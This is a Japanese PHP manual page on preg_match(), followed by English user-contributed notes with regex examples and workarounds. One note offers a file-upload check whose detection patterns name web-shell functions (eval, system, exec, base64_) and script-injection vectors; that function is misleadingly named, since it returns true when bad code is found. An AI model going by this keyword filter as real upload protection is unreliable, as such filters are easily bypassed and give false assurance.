上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [0] => foobarbaz
            [1] => 0
        )

    [1] => Array
        (
            [0] => foo
            [1] => 0
        )

    [2] => Array
        (
            [0] => bar
            [1] => 3
        )

    [3] => Array
        (
            [0] => baz
            [1] => 6
        )

)

PREG_UNMATCHED_AS_NULL

このフラグが渡されると、マッチしなかったサブパターンは null として通知されます。 渡されなかった場合、空の string として通知されます。

<?php
preg_match('/(a)(b)*(c)/', 'ac', $matches);
var_dump($matches);
preg_match('/(a)(b)*(c)/', 'ac', $matches, PREG_UNMATCHED_AS_NULL);
var_dump($matches);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  string(0) ""
  [3]=>
  string(1) "c"
}
array(4) {
  [0]=>
  string(2) "ac"
  [1]=>
  string(1) "a"
  [2]=>
  NULL
  [3]=>
  string(1) "c"
}

offset

通常、検索は対象文字列の先頭から開始されます。 オプションのパラメータ offset を使用して 検索の開始位置を (バイト単位で) 指定することも可能です。

注意:

offset を用いるのと、 substr($subject, $offset) を preg_match()の対象文字列として指定するのとは 等価ではありません。 これは、pattern には、 ^, $ や (?<=x) のような言明を含めることができるためです。 以下を比べてみてください。

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, 3);
print_r($matches);
?>

上の例の出力は以下となります。

Array
(
)

一方、この例を見てください。

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, substr($subject,3), $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

出力は以下のようになります。

Array
(
    [0] => Array
        (
            [0] => def
            [1] => 0
        )

)

substr() 関数を利用しない別の方法として、 ^ アンカーではなく、 言明 \G または A 修正子を使う方法があります。 これらは両方とも offset パラメータとともに動作します。

返り値

preg_match() は、pattern が指定した subject にマッチした場合に 1 を返します。 マッチしなかった場合は 0、エラーが発生した場合は false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

変更履歴

バージョン | 説明
7.2.0 | $flags パラメータが PREG_UNMATCHED_AS_NULL をサポートしました。

例

例1 文字列 "php" を探す

<?php
// パターンのデリミタの後の "i" は、大小文字を区別しない検索を示す
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

例2 単語 "web" を探す

<?php
/* パターン内の \b は単語の境界を示す。このため、独立した単語の
 *  "web"にのみマッチし、"webbing" や "cobweb" のような単語の一部にはマッチしない */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

例3 URL からドメイン名を得る

<?php
// get host name from URL
preg_match('@^(?:http://)?([^/]+)@i',
    "http://www.php.net/index.html", $matches);
$host = $matches[1];

// get last two segments of host name
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

上の例の出力は以下となります。

domain name is: php.net

例4 名前つきサブパターンの使用法

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* PHP 5.2.2 (PCRE 7.0) 以降ではこの形式でも動作しますが、
 * 過去との互換性を考慮して上の形式のほうを推奨します */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

上の例の出力は以下となります。

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

注意

ヒント

ある文字列が他の文字列内に含まれているかどうかを調べるためだけに preg_match() を使うのは避けた方が良いでしょう。 strpos() 関数を使うほうが速くなります。

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • preg_match_all() - 繰り返し正規表現検索を行う
  • preg_replace() - 正規表現検索および置換を行う
  • preg_split() - 正規表現で文字列を分割する
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す
  • preg_last_error_msg() - 最後に実行した PCRE 正規表現に関するエラーメッセージを返す

User Contributed Notes

matt at proweb dot co dot uk 08-Feb-2021 12:07
pcre2-migration

Status: Implemented (in PHP 7.3)

SELinux will prevent PREG_* functions from working

Feb  8 12:40:51 servername setroubleshoot: SELinux is preventing httpd from using the execmem access on a process.

you need to add preg.jit=0 to php.ini or init_set('preg.jit', 0) if you can't do that

try the [PCRE] section so you can find it
chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
xcsv at gmx dot net 06-May-2020 08:39
As of PHP 7.2, you can use the following.

If you work with named subpatterns and dont want to bother with unnamed match result entries and unmatched subpatterns, just replace preg_match() with named_preg_match(). This filters all unwanted stuff out.

<?php
function named_preg_match(string $pattern , string $subject, array &$matches = null, int $flags = 0, int $offset = 0) {
    $retval = preg_match($pattern, $subject, $localmatches, PREG_UNMATCHED_AS_NULL | $flags, $offset);
    if ($retval) {
        foreach ($localmatches as $key => $value) {
            if (is_int($key)) $value = null;
            if (is_null($value)) unset($localmatches[$key]);
        }
        $matches = $localmatches;
    }
    return $retval;
}
?>

Hope this will be useful.
ASchmidt at Anamera dot net 06-Feb-2020 05:58
After the breaking change in 7.4, be aware that count( $matches ) may be different, depending on PREG_UNMATCHED_AS_NULL flag.

With PREG_UNMATCHED_AS_NULL, count( $matches ) will always be the maximum number of subpatterns.
However, without PREG_UNMATCHED_AS_NULL the $matches array will omit any unmatched subpatterns at the tail end.

Result forthe first two out of three matches with PREG_OFFSET_CAPTURE flag only:

array (size=3)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4

Result for two out of three matches with additional PREG_UNMATCHED_AS_NULL flags:

array (size=4)
  0 =>
    array (size=2)
      0 => string 'may/02' (length=6)
      1 => int 0
  1 =>
    array (size=2)
      0 => string 'may' (length=3)
      1 => int 0
  2 =>
    array (size=2)
      0 => string '02' (length=2)
      1 => int 4
  3 =>
    array (size=2)
      0 => null
      1 => int -1
ASchmidt at Anamera dot net 06-Feb-2020 04:42
Combining flags
PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL
will NOT result in a value of NULL for any submatched subpattern.

Instead still results in an array for each unmatched subpattern, in turn containing:

 array (size=2)
      0 => null
      1 => int -1

Consequently your code needs to expect NULL as the string value:
 $matches[ {subpattern+1} ][0] === null
and/or a negative string offset:
 $matches[ {subpattern+1} ][1] < 0
to detect any unmatched subpattern!
danielrydell at gmail dot com 24-Sep-2017 01:25
When trying to match accented characters, such as those found in Spanish, there seems to be a different internal interpretation when using character classes. So the best way is to add the u option (for unicode) after the delimiters.

<?php

//echoes 1 (adding u would not alter the result)
echo preg_match('/^aeioun$/', 'aeioun');

//echoes 0 (unless with [o]+ or [o]* or adding u)
echo preg_match('/^aei[o]un$/', 'aeioun');

//so to match 'espana' or 'espana', add u or this won't match
//echoes 1
echo preg_match('/^espa[nn]a$/u', 'espana');

?>
chat dot noir at arcor dot de 23-Aug-2017 01:56
Note that if a parenthesed group is not matched, its key may or may not be present in $matches. For instance,

<?php preg_match('/(foo)?(bar)?(baz)?/', 'bar', $matches);
print_r($matches);

// outputs
// Array
// (
//     [0] => bar
//     [1] =>
//     [2] => bar
// )
?>
Note that there is no element with key '3' in $matches, but an element with key '1' (the empty string). This inconsistent behavior also applies to named groups.
geompse at gmail dot com 10-Jul-2017 10:13
The function will return false and raise a warning if the input $subject is too long :
[PhpWarning] preg_match(): Subject is too long

I believe the limit is 1 or 2 GB because I was using a 2.2GB string.
While a parameter might exist to alter this limit, in my case it was possible and wiser to use <500MB strings instead.
solixmexico at outlook dot com 12-Oct-2016 11:09
To validate directorys on Windows i used this:

if( preg_match("#^([a-z]{1}\:{1})?[\\\/]?([\-\w]+[\\\/]?)*$#i",$_GET['path'],$matches) !== 1 ){
    echo("Invalid value");
}else{
    echo("Valid value");
}

The parts are:

#^ and $i            Make the string matches at all the pattern, from start to end for ensure a complete match.
([a-z]{1}\:{1})?        The string may starts with one letter and a colon, but only 1 character for eachone, this is for the drive letter (C:)
[\\\/]?            The string may contain, but not require 1 slash or backslash after the drive letter, (\/)
([\-\w]+[\\\/]?)*    The string must have 1 or more of any character like hyphen, letter, number, underscore, and may contain a slash or back slash at the end, to have a directory like ("/" or "folderName" or "folderName/"), this may be repeated one or more times.
asdfasdasad34535 at iflow dot at 21-Jul-2013 09:07
Attention! PREG_OFFSET_CAPTURE not UTF-8 aware when using u modifier
and it's not a but, it's a feature:
https://bugs.php.net/bug.php?id=37391

Possible workaround: Use mb_strpos to get the correct offset, instead of the flag.

 UTF-8 support would be nice.
andre at koethur dot de 17-Jun-2013 08:49
Be aware of bug https://bugs.php.net/bug.php?id=50887 when using sub patterns: Un-matched optional sub patterns at the end won't show up in $matches.

Here is a workaround: Assign a name to all subpatterns you are interested in, and merge $match afterwards with an constant array containing some reasonable default values:

<?php
if (preg_match('/^(?P<lang>[^;*][^;]*){1}(?:;q=(?P<qval>[0-9.]+))?$/u', 'de', $match))
{
  $match = array_merge(array('lang' => '', 'qval' => ''), $match);
  print_r($match);
}
?>

This outputs:
Array
(
    [lang] => de
    [qval] =>
    [0] => de
    [1] => de
)

Instead of:
Array
(
    [0] => de
    [lang] => de
    [1] => de
)
yofilter-php at yahoo dot co dot uk 05-Mar-2013 01:48
There does not seem to be any mention of the PHP version of switches that can be used with regular expressions.

preg_match_all('/regular expr/sim',$text).

The s i m being the location for and available switches (I know about)
The i is to ignore letter cases (this is commonly known - I think)
The s tells the code NOT TO stop searching when it encounters \n (line break) - this is important with multi-line entries for example text from an editor that needs search.
The m tells the code it is a multi-line entry, but importantly allows the use of ^ and $ to work when showing start and end.

I am hoping this will save someone from the 4 hours of torture that I endured, trying to workout this issue.
Yousef Ismaeil Cliprz 04-Feb-2013 01:31
Some times a Hacker use a php file or shell as a image to hack your website. so if you try to use move_uploaded_file() function as in example to allow for users to upload files, you must check if this file contains a bad codes or not so we use this function. preg match

in this function we use

unlink() - http://php.net/unlink

after you upload file check a file with below function.

<?php

/**
 * A simple function to check file from bad codes.
 *
 * @param (string) $file - file path.
 * @author Yousef Ismaeil - Cliprz[at]gmail[dot]com.
 */
function is_clean_file ($file)
{
    if (file_exists($file))
    {
        $contents = file_get_contents($file);
    }
    else
    {
        exit($file." Not exists.");
    }

    if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i',$contents))
    {
        return true;
    }
    else if (preg_match("#&\#x([0-9a-f]+);#i", $contents))
    {
        return true;
    }
    elseif (preg_match('#&\#([0-9]+);#i', $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset|html|body|title|div|p|form)[^>]*>#i", $contents))
    {
        return true;
    }
    else
    {
        return false;
    }
}
?>

Use

<?php
// If image contains a bad codes
$image   = "simpleimage.png";

if (is_clean_file($image))
{
    echo "Bad codes this is not image";
    unlink($image);
}
else
{
    echo "This is a real image.";
}
?>
Anonymous 24-Sep-2012 08:02
Here is a function that decreases the numbers inside a string (useful to convert DOM object into simplexml object)

e.g.: decremente_chaine("somenode->anode[2]->achildnode[3]") will return "somenode->anode[1]->achildnode[2]"

the numbering of the nodes in simplexml starts from zero, but from 1 in DOM xpath objects

<?php
function decremente_chaine($chaine)
    {
        //recuperer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // decouper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on decale tout de 1 car le resultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
jphansen at uga dot edu 22-May-2012 07:41
Here's a regex to validate against the schema for common MySQL
 identifiers:

<?php
$string = "$table_name";
if (preg_match("/[^\\d\\sa-zA-Z$_]/", $string))
  echo "Failed validation";
?>
ulli dot luftpumpe at murkymind dot de 07-Apr-2012 10:32
Matching a backslash character can be confusing, because double escaping is needed in the pattern: first for PHP, second for the regex engine
<?php
//match newline control character:
preg_match('/\n/','\n');   //pattern matches and is stored as control character 0x0A in the pattern string
preg_match('/\\\n/','\n'); //very same match, but is stored escaped as 0x5C,0x6E in the pattern string

//trying to match "\'" (2 characters) in a text file, '\\\'' as PHP string:
$subject = file_get_contents('myfile.txt');
preg_match('/\\\'/',$subject);    //DOESN'T MATCH!!! stored as 0x5C,0x27 (escaped apostrophe), this only matches apostrophe
preg_match('/\\\\\'/',$subject);  //matches, stored as 0x5C,0x5C,0x27 (escaped backslash and unescaped apostrophe)
preg_match('/\\\\\\\/',$subject); //also matches, stored as 0x5C,0x5C,0x5C,0x27 (escaped backslash and escaped apostrophe)

//matching "\n" (2 characters):
preg_match('/\\\\n/','\\n');
preg_match('/\\\n/','\\n'); //same match - 3 backslashes are interpreted as 2 in PHP, if the following character is not escapeable
?>
aer0s 16-Mar-2012 09:15
Simple function to return a sub-string following the preg convention. Kind of expensive, and some might say lazy but it has saved me time.

# preg_substr($pattern,$subject,[$offset]) function
# @author   aer0s
#  return a specific sub-string in a string using
#   a regular expression
# @param   $pattern   regular expression pattern to match
# @param   $subject   string to search
# @param   [$offset]   zero based match occurrence to return
#
# [$offset] is 0 by default which returns the first occurrence,
# if [$offset] is -1 it will return the last occurrence

function preg_substr($pattern,$subject,$offset=0){
    preg_match_all($pattern,$subject,$matches,PREG_PATTERN_ORDER);
    return $offset==-1?array_pop($matches[0]):$matches[0][$offset];
}

example:

             $pattern = "/model(\s|-)[a-z0-9]/i";
             $subject = "Is there something wrong with model 654, Model 732, and model 43xl or is Model aj45B the preferred choice?";

             echo preg_substr($pattern,$subject);
             echo preg_substr($pattern,$subject,1);
             echo preg_substr($pattern,$subject,-1);

Returns something like:

             model 654
             Model 732
             Model aj45B
Nimja 10-Feb-2012 11:12
When using a 'bad words reject string' filter, preg_match is MUCH faster than strpos / stripos. Because in the other cases, you would need to do a foreach for each word. With efficient programming, the foreach is ONLY faster when the first word in the ban-list is found.

(for 12 words, 100,000 iterations, no word found)
stripos - Taken 1.4876 seconds.
strpos - Taken 1.4207 seconds.
preg_match - Taken 0.189 seconds.

Interesting fact:
With long words ('averylongwordtospitepreg'), the difference is only much less. Only about a 2/3rd of the time instead of 1/6th

<?php

$words = array('word1', 'word2', 'word3', 'word4', 'word5', 'word6', 'word7', 'word8', 'word9', 'word10', 'word11', 'word12' );
$teststring = 'ThIs Is A tEsTsTrInG fOr TeStInG.';
$count = 100000;
$find = 0;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (stripos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'stripos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (strpos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'strpos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
$pattern = '/';
$div = '';
foreach ($words as $word) {
    $pattern .= $div . preg_quote($word);
    $div = '|';
}
$pattern .= '/i';
//Pattern could easily be done somewhere else if words are static.
for ($i = 0; $i < $count; $i++) {
    if (preg_match($pattern, $teststring)) {
        $find++;
    }
}
$end = microtime(TRUE);
echo 'preg_match - Taken ' . round($end - $start, 4) . ' seconds.' . PHP_EOL;
?>
Jonny 5 07-Dec-2011 09:55
Workaround for getting the offset in UTF-8
(in some cases mb_strpos might be an option as well)

<?php
if(preg_match($pattern,$haystack,$out,PREG_OFFSET_CAPTURE)) {
    $offset = strlen(utf8_decode(substr($haystack,0,$out[0][1])));
}
?>
force at md-t dot org 25-Sep-2011 11:38
Simple regex

Regex quick reference
[abc]     A single character: a, b or c
[^abc]     Any single character but a, b, or c
[a-z]     Any single character in the range a-z
[a-zA-Z]     Any single character in the range a-z or A-Z
^     Start of line
$     End of line
\A     Start of string
\z     End of string
.     Any single character
\s     Any whitespace character
\S     Any non-whitespace character
\d     Any digit
\D     Any non-digit
\w     Any word character (letter, number, underscore)
\W     Any non-word character
\b     Any word boundary character
(...)     Capture everything enclosed
(a|b)     a or b
a?     Zero or one of a
a*     Zero or more of a
a+     One or more of a
a{3}     Exactly 3 of a
a{3,}     3 or more of a
a{3,6}     Between 3 and 6 of a

options: i case insensitive m make dot match newlines x ignore whitespace in regex o perform #{...} substitutions only once
cmallabon at homesfactory dot com 30-Aug-2011 10:28
Just an interesting note. Was just updating code to replace ereg() with strpos() and preg_match and the thought occured that preg_match() could be optimized to quit early when only searching if a string begins with something, for example
<?php
if(preg_match("/^http/", $url))
{
 //do something
}
?>

 vs

<?php
if(strpos($url, "http") === 0)
{
//do something
}
?>

As I guessed, strpos() is always faster (about 2x) for short strings like a URL but for very long strings of several paragraphs (e.g. a block of XML) when the string doesn't start with the needle preg_match as twice as fast as strpos() as it doesn't scan the entire string.

So, if you are searching long strings and expect it to normally be true (e.g. validating XML), strpos() is a much faster BUT if you expect if to often fail, preg_match is the better choice.
ayman2243 at gmail dot com 30-Aug-2011 04:55
highlight Search Words

<?php
function highlight($word, $subject) {

    $split_subject = explode(" ", $subject);
    $split_word = explode(" ", $word);

    foreach ($split_subject as $k => $v){
           foreach ($split_word as $k2 => $v2){
               if($v2 == $v){

                   $split_subject[$k] = "<span class='highlight'>".$v."</span>";

               }
           }
      }

      return implode(' ', $split_subject);
}
?>
workhorse at op dot pl 11-Aug-2011 12:53
Preg_match returns empty result trying to validate $subject with carriege returns (/n/r).
To solve it one need to use /s modifier in $pattern string.
<?php
$pattern='/.*/s';
$valid=preg_match($pattern, $subject, $match);
?>
itworkarounds at gmail dot com 09-Aug-2011 09:08
You can use the following code to detect non-latin (Cyrilic, Arabic, Greek...) characters:

<?php
preg_match("/^[a-zA-Z\p{Cyrillic}0-9\s\-]+$/u", "ABC abc 1234 АБВ абв");
?>
mohammad40g at gmail dot com 01-Aug-2011 09:23
This sample is for checking persian character:

<?php
   preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", '????');
?>
sun at drupal dot org 23-Jun-2011 05:56
Basic test for invalid UTF-8 that can hi-jack IE:

<?php
$valid = (preg_match('/^./us', $text) == 1);
?>
See http://api.drupal.org/api/drupal/includes--bootstrap.inc/function/drupal_validate_utf8/7 for details.

---

Test for valid UTF-8 and XML/XHTML character range compatibility:

<?php
$invalid = preg_match('@[^\x9\xA\xD\x20-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]@u', $text)
?>
Ref: http://www.w3.org/TR/2000/REC-xml-20001006#charsets
MrBull 20-Mar-2011 07:32
Sometimes its useful to negate a string. The first method which comes to mind to do this is: [^(string)] but this of course won't work. There is a solution, but it is not very well known. This is the simple piece of code on how a negation of a string is done:

(?:(?!string).)

?: makes a subpattern (see http://www.php.net/manual/en/regexp.reference.subpatterns.php) and ?! is a negative look ahead. You put the negative look ahead in front of the dot because you want the regex engine to first check if there is an occurrence of the string you are negating. Only if it is not there, you want to match an arbitrary character.

Hope this helps some ppl.
arash dot hemmat at gmail dot com 02-Feb-2011 07:15
For those who search for a unicode regular expression example using preg_match here it is:

Check for Persian digits
preg_match( "/[^\x{06F0}-\x{06F9}\x]+/u" , '??????????' );
Frank 26-Jan-2011 12:12
If someone is from a country that accepts decimal numbers in format 9.00 and 9,00 (point or comma), number validation would be like that:
<?php
$number_check = "9,99";
if (preg_match( '/^[\-+]?[0-9]*\.*\,?[0-9]+$/', $number_check)) {
    return TRUE;
}
?>

However, if the number will be written in the database, most probably this comma needs to be replaced with a dot.
This can be done with use of str_replace, i.e :
<?php
$number_database = str_replace("," , "." , $number_check);
?>
sainnr at gmail dot com 30-Dec-2010 06:12
This sample regexp may be useful if you are working with DB field types.

(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))

For example, if you are have a such type as "varchar(255)" or "text", the next fragment

<?php
   $type = 'varchar(255)';  // type of field
   preg_match('/(?P<type>\w+)($|\((?P<length>(\d+|(.*)))\))/', $type, $field);
   print_r($field);
?>

will output something like this:
Array ( [0] => varchar(255) [type] => varchar [1] => varchar [2] => (255) [length] => 255 [3] => 255 [4] => 255 )
ian_channing at hotmail dot com 27-Dec-2010 01:55
When trying to check a file path that could be windows or unix it took me quite a few tries to get the escape characters right.

The Unix directory separator must be escaped once and the windows directory separator must be escaped twice.

This will match path/to/file and path\to\file.exe

preg_match('/^[a-z0-9_.\/\\\]*$/i', $file_string);
SoN9ne at gmail dot com 08-Jun-2010 10:10
I have been working on a email system that will automatically generate a text email from a given HTML email by using strip_tags().
The only issue I ran into, for my needs, were that the anchors would not keep their links.
I search for a little while and could not find anything to strip the links from the tags so I generated my own little snippet.
I am posting it here in hopes that others may find it useful and for later reference.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this

Posting to this site is painful...
Had to break up the regex and had to break the test links since it was being flagged as spam...
teracci2002 09-Apr-2010 09:00
When you use preg_match() for security purpose or huge data processing,
mayby you should make consideration for backtrack_limit and recursion_limit.
http://www.php.net/manual/en/pcre.configuration.php

These limits may bring wrong matching result.
You can verify whether you hit these limits by checking preg_last_error().
http://www.php.net/manual/en/function.preg-last-error.php
Kae Cyphet 17-Mar-2010 06:29
for those coming over from ereg, preg_match can be quite intimidating. to get started here is a migration tip.

<?php
if(ereg('[^0-9A-Za-z]',$test_string)) // will be true if characters arnt 0-9, A-Z or a-z.

if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
?>
plasma 21-Feb-2010 04:53
To extract scheme, host, path, ect. simply use

<?php

  $url  = 'http://name:pass@';
  $url .= 'example.com:10000';
  $url .= '/path/to/file.php?a=1&amp;b=2#anchor';

  $url_data = parse_url ( $url );

  print_r ( $url_data );

?>
___
prints out something like:

Array
(
    [scheme] => http
    [host] => wild.subdomain.orgy.domain.co.uk
    [port] => 10000
    [user] => name
    [pass] => pass
    [path] => /path/to/file.php
    [query] => a=1&b=2
    [fragment] => anchor
)

In my tests parse_url is up to 15x faster than preg_match(_all)!
Anonymous 06-Feb-2010 08:00
The regular expression for breaking-down a URI reference into its components:

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

Source: ietf.org/rfc/rfc2396.txt
cebelab at gmail dot com 23-Jan-2010 10:43
I noticed that in order to deal with UTF-8 texts, without having to recompile php with the PCRE UTF-8 flag enabled, you can just add the following sequence at the start of your pattern: (*UTF8)

for instance : '#(*UTF8)[[:alnum:]]#' will return TRUE for 'e' where '#[[:alnum:]]#' will return FALSE

found this very very useful tip after hours of research over the web directly in pcre website right here : http://www.pcre.org/pcre.txt
there are many further informations about UTF-8 support in the lib

hop that will help!

--
cedric
Stefan 17-Nov-2009 02:47
I spent a while replacing all my ereg() calls to preg_match(), since ereg() is now deprecated and will not be supported as of v 6.0.

Just a warning regarding the conversion, the two functions behave very similarly, but not exactly alike. Obviously, you will need to delimit your pattern with '/' or '|' characters.

The difference that stumped me was that preg_replace overwrites the $matches array regardless if a match was found. If no match was found, $matches is simply empty.

ereg(), however, would leave $matches alone if a match was not found. In my code, I had repeated calls to ereg, and was populating $matches with each match. I was only interested in the last match. However, with preg_match, if the very last call to the function did not result in a match, the $matches array would be overwritten with a blank value.

Here is an example code snippet to illustrate:

<?php
$test = array('yes','no','yes','no','yes','no');

foreach ($test as $key=>$value) {
  ereg("yes",$value,$matches1);
  preg_match("|yes|",$value,$matches2);
}
  print "ereg result: $matches1[0]<br>";
  print "preg_match result: $matches2[0]<br>";
?>

The output is:
ereg result: yes
preg_match result:

($matches2[0] in this case is empty)

I believe the preg_match behavior is cleaner. I just thought I would report this to hopefully save others some time.
ruakuu at NOSPAM dot com 03-Nov-2009 09:32
Was working on a site that needed japanese and alphabetic letters and needed to
validate input using preg_match, I tried using \p{script} but didn't work:

<?php
$pattern ='/^([-a-zA-Z0-9_\p{Katakana}\p{Hiragana}\p{Han}]*)$/u'; // Didn't work
?>

So I tried with ranges and it worked:

<?php
$pattern ='/^[-a-zA-Z0-9_\x{30A0}-\x{30FF}'
         .'\x{3040}-\x{309F}\x{4E00}-\x{9FBF}\s]*$/u';
$match_string = '印刷最安 ニキビ跡除去 ゲームボーイ';

if (preg_match($pattern, $match_string)) {
    echo "Found - pattern $pattern";
} else {
    echo "Not found - pattern $pattern";
}
?>

U+4E00-U+9FBF Kanji
U+3040-U+309F Hiragana
U+30A0-U+30FF Katakana

Hope its useful, it took me several hours to figure it out.
splattermania at freenet dot de 01-Oct-2009 05:01
As I wasted lots of time finding a REAL regex for URLs and resulted in building it on my own, I now have found one, that seems to work for all kinds of urls:

<?php
    $regex = "((https?|ftp)\:\/\/)?"; // SCHEME
    $regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass
    $regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
    $regex .= "(\:[0-9]{2,5})?"; // Port
    $regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path
    $regex .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?"; // GET Query
    $regex .= "(#[a-z_.-][a-z0-9+\$_.-]*)?"; // Anchor
?>

Then, the correct way to check against the regex ist as follows:

<?php
       if(preg_match("/^$regex$/", $url))
       {
               return true;
       }
?>
luc _ santeramo at t yahoo dot com 03-Sep-2009 07:46
If you want to validate an email in one line, use filter_var() function !
http://fr.php.net/manual/en/function.filter-var.php

easy use, as described in the document example :
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
marcosc at tekar dot net 27-Aug-2009 09:31
When using accented characters and "n" (aeioun), preg_match does not work. It is a charset problem, use utf8_decode/decode to fix.
ian_channing at hotmail dot com 20-Aug-2009 06:13
This is a function that uses regular expressions to match against the various VAT formats required across the EU.

<?php
/**
 * @param integer $country Country name
 * @param integer $vat_number VAT number to test e.g. GB123 4567 89
 * @return integer -1 if country not included OR 1 if the VAT Num matches for the country OR 0 if no match
*/
function checkVatNumber( $country, $vat_number ) {
    switch($country) {
        case 'Austria':
            $regex = '/^(AT){0,1}U[0-9]{8}$/i';
            break;
        case 'Belgium':
